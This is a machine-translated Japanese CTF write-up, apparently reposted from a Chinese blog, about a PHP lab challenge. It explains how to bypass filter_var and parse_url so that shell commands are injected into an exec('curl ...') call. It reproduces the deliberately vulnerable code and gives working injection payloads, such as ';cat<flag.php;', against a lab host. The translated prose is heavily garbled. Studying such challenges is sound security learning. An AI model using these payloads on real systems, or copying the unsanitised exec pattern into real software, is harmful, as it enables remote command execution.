2日目-CTF [赤]にfilter_var関数欠陥

運動の記録

コードを再現:

index.phpを

<?php 
$url = $_GET['url'];
if(isset($url) && filter_var($url, FILTER_VALIDATE_URL)){
    $site_info = parse_url($url);
    if(preg_match('/sec-pz.com$/',$site_info['host'])){
        exec('curl "'.$site_info['host'].'"', $result);
        echo "<center><h1>You have curl {$site_info['host']} successfully!</h1></center>
              <center><textarea rows='20' cols='90'>";
        echo implode(' ', $result);
    }
    else{
        die("<center><h1>Error: Host not allowed</h1></center>");
    }

}
else{
    echo "<center><h1>Just curl sec-pz.com!</h1></center><br>
          <center><h3>For example:?url=http://sec-pz.com</h3></center>";
}

?>

flag.php

<?php  
$flag = "HRCTF{f1lt3r_var_1s_s0_c00l}"
?>

脆弱性分析:

サイトを入力します。

http://192.168.1.139/PHPcode/day2/?url=

ここに画像を挿入説明
正しくページを発見、あなたが動作することができます。

この質問は検査されfilter_var、リモートコマンド実行で機能のバイパス。次のコードは、プログラムの用途はexec、実行するために機能するcurlコマンドに到達するのは非常に簡単であるコマンドを、。

 exec('curl "'.$site_info['host'].'"', $result);

我々はスプライシングを探してコマンドが$site_info['host']から来ています。

:次のようにタイトル行で2-4、

$url = $_GET['url'];
if(isset($url) && filter_var($url, FILTER_VALIDATE_URL)){
    $site_info = parse_url($url);

私たちは見ることができる$site_info変数は、ユーザーのから来ているurlを通じてパラメータfilter_varparse_urlの二つの機能のフィルタ。その後、

    if(preg_match('/sec-pz.com$/',$site_info['host'])){

また、ときに提供urlするパラメータの値がsec-pz.com時間の終わりに、実行するexec機能。

だから、バイパスましょうフィルタは、私は関数にfilter_varを説明するために、別のブログ記事を持っている:ここでは、次のように、いくつかのバイパス方法ですfilter_varFILTER_VALIDATE_URL

http://192.168.1.139/PHPcode/day2/index.php?url=http://[email protected]
http://192.168.1.139/PHPcode/day2/index.php?url=demo://demo.com,sec-pz.com
http://192.168.1.139/PHPcode/day2/index.php?url=demo://demo.com:80;sec-pz.com:80/
http://192.168.1.139/PHPcode/day2/index.php?url=http://demo.com#sec-pz.com
PS:最后一个payload的#符号,请换成对应的url编码 %23

次へバイパスparse_url機能、
でもparse_url機能を説明

そして満足$site_info['host']の値をsec-pz.com終了、ペイロードは、次のとおりです。

http://192.168.1.139/PHPcode/day2/index.php?url=demo://";ls;#;sec-pz.com:80/

結果が示されています。
ここに画像を挿入説明
私たちが直接使用する場合はcat flag.phptimeコマンドを、していなかったfilter_var、それはスペースが含まれているため、我々は交換できるように、テスト機能cat<flag.php特定のペイロードを次のようにコマンドを、あなたは成功したフラグを取得することができます:

http://192.168.1.139/PHPcode/day2/index.php?url=demo://";cat<flag.php;%23;sec-pz.com:80/

ここに画像を挿入説明
filter_varバイパス詳細に機能を、あなたはこの記事を参照することができます:バイパスにfilter_var()にどのようにのSSRFのヒントコマンドバイパス技術で、我々はこの記事を参照することができます:CTFでバイパスを実行するために、ヒント

公開された35元の記事 ウォン称賛19 ビュー5205

おすすめ

転載: blog.csdn.net/zhangpen130/article/details/103893922